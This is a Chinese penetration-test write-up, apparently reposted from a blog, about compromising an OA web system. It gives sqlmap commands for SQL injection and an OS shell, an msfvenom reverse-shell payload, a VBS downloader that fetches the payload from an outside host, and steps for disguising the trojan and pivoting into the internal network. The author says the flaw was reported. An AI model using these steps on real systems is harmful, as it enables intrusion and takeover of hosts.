0x01 发现漏洞
IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入
在用户名里输入admin’,不负期望地报了错
0x02 漏洞验证
问题参数为 txtLogin=admin%27,可将整个请求复制到 test.txt,使用sqlmap -r 来注入
sqlmap -u http://x.x.x.x/xx.aspx --forms
至此,可以确认存在error-based、stack quires和time-based三个类型的漏洞
0x03 判断数据库用户的权限
sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba
非常nice,再次不负期望地返回了DBA权限,输入以下命令,获得一个shell
sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell
0x04 反弹shell 深入内网
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe
由于环境艰难,不能直接上传文件,我选择了用vbs脚本来下载木马到服务器
代码如下:
Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
'发送请求
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒,等文件下载
wscript.sleep 3000
aGet.Write(post.responseBody)'写数据
aGet.SaveToFile "shell.exe",2
用echo命令缓慢地写完了vbs脚本之后,顺利运行,下载了木马
更改名字,移动到IE安装目录进行伪装
start iee.exe 运行木马,metasploit成功收到了SYSTEM权限的shell
该主机拥有内网IP,存在内网,可以互通,并且该主机作为中央数据库
0x05 结束测试,提交漏洞
但不少粗糙的程序和古老的系统仍然存在此漏洞,此类漏洞解决方法简单,只用对用户输入参数稍加处理即可。
文章来源:Woojay's Blog
原文地址:https://blog.blankshell.com/2019/09/12/某oa系统从system权限命令执行到漫游内网漫游内网/
关 注 有 礼
推 荐 阅 读